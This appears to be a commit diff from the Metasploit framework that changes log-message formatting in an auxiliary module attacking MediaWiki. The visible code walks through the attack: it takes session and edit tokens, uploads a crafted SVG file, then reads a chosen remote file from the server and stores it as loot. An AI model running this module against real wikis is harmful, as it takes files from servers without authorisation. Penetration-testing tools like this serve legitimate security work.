Land #3548, peer rhost fix

bug/bundler_fix
William Vu 2014-07-19 16:05:30 -05:00
commit d9f4a84c16
No known key found for this signature in database
GPG Key ID: E761DCB4C1629024
1 changed files with 19 additions and 19 deletions

View File

@ -218,58 +218,58 @@ class Metasploit4 < Msf::Auxiliary
end end
def accessfile(rhost) def accessfile(rhost)
vprint_status("#{peer(rhost)} MediaWiki - Getting unauthenticated session...") vprint_status("#{peer} MediaWiki - Getting unauthenticated session...")
@wiki_session_name, @wiki_session = get_first_session @wiki_session_name, @wiki_session = get_first_session
if @wiki_session.nil? if @wiki_session.nil?
print_error("#{peer(rhost)} MediaWiki - Failed to get unauthenticated session...") print_error("#{peer} MediaWiki - Failed to get unauthenticated session...")
return return
end end
vprint_status("#{peer(rhost)} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}") vprint_status("#{peer} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}")
if @user and not @user.empty? and @password and not @password.empty? if @user and not @user.empty? and @password and not @password.empty?
vprint_status("#{peer(rhost)} MediaWiki - Getting login token...") vprint_status("#{peer} MediaWiki - Getting login token...")
@login_token = get_login_token @login_token = get_login_token
if @login_token.nil? if @login_token.nil?
print_error("#{peer(rhost)} MediaWiki - Failed to get login token") print_error("#{peer} MediaWiki - Failed to get login token")
return return
end end
vprint_status("#{peer(rhost)} Logintoken: #{@login_token}") vprint_status("#{peer} Logintoken: #{@login_token}")
if not authenticate if not authenticate
print_error("#{peer(rhost)} MediaWiki - Failed to authenticate") print_error("#{peer} MediaWiki - Failed to authenticate")
return return
end end
vprint_status("#{peer(rhost)} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}") vprint_status("#{peer} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}")
vprint_status("#{peer(rhost)} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}") vprint_status("#{peer} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}")
vprint_status("#{peer(rhost)} Session cookie: #{@wiki_session_name}=#{@wiki_session}") vprint_status("#{peer} Session cookie: #{@wiki_session_name}=#{@wiki_session}")
end end
vprint_status("#{peer(rhost)} MediaWiki - Getting edit token...") vprint_status("#{peer} MediaWiki - Getting edit token...")
@edit_token = get_edit_token @edit_token = get_edit_token
if @edit_token.nil? if @edit_token.nil?
print_error("#{peer(rhost)} MediaWiki - Failed to get edit token") print_error("#{peer} MediaWiki - Failed to get edit token")
return return
end end
vprint_status("#{peer(rhost)} Edittoken: #{@edit_token}") vprint_status("#{peer} Edittoken: #{@edit_token}")
vprint_status("#{peer(rhost)} MediaWiki - Uploading SVG file...") vprint_status("#{peer} MediaWiki - Uploading SVG file...")
@svg_uri = upload_file @svg_uri = upload_file
if @svg_uri.nil? if @svg_uri.nil?
print_error("#{peer(rhost)} MediaWiki - Failed to upload SVG file") print_error("#{peer} MediaWiki - Failed to upload SVG file")
return return
end end
vprint_status("#{peer(rhost)} SVG URI: #{@svg_uri}") vprint_status("#{peer} SVG URI: #{@svg_uri}")
vprint_status("#{peer(rhost)} MediaWiki - Retrieving remote file...") vprint_status("#{peer} MediaWiki - Retrieving remote file...")
loot = read_data loot = read_data
if loot.nil? or loot.empty? if loot.nil? or loot.empty?
print_error("#{peer(rhost)} MediaWiki - Failed to retrieve remote file") print_error("#{peer} MediaWiki - Failed to retrieve remote file")
return return
end end
f = ::File.basename(datastore['RFILE']) f = ::File.basename(datastore['RFILE'])
path = store_loot('mediawiki.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE']) path = store_loot('mediawiki.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
print_status("#{peer(rhost)} MediaWiki - #{datastore['RFILE']} saved in #{path}") print_status("#{peer} MediaWiki - #{datastore['RFILE']} saved in #{path}")
end end
def run def run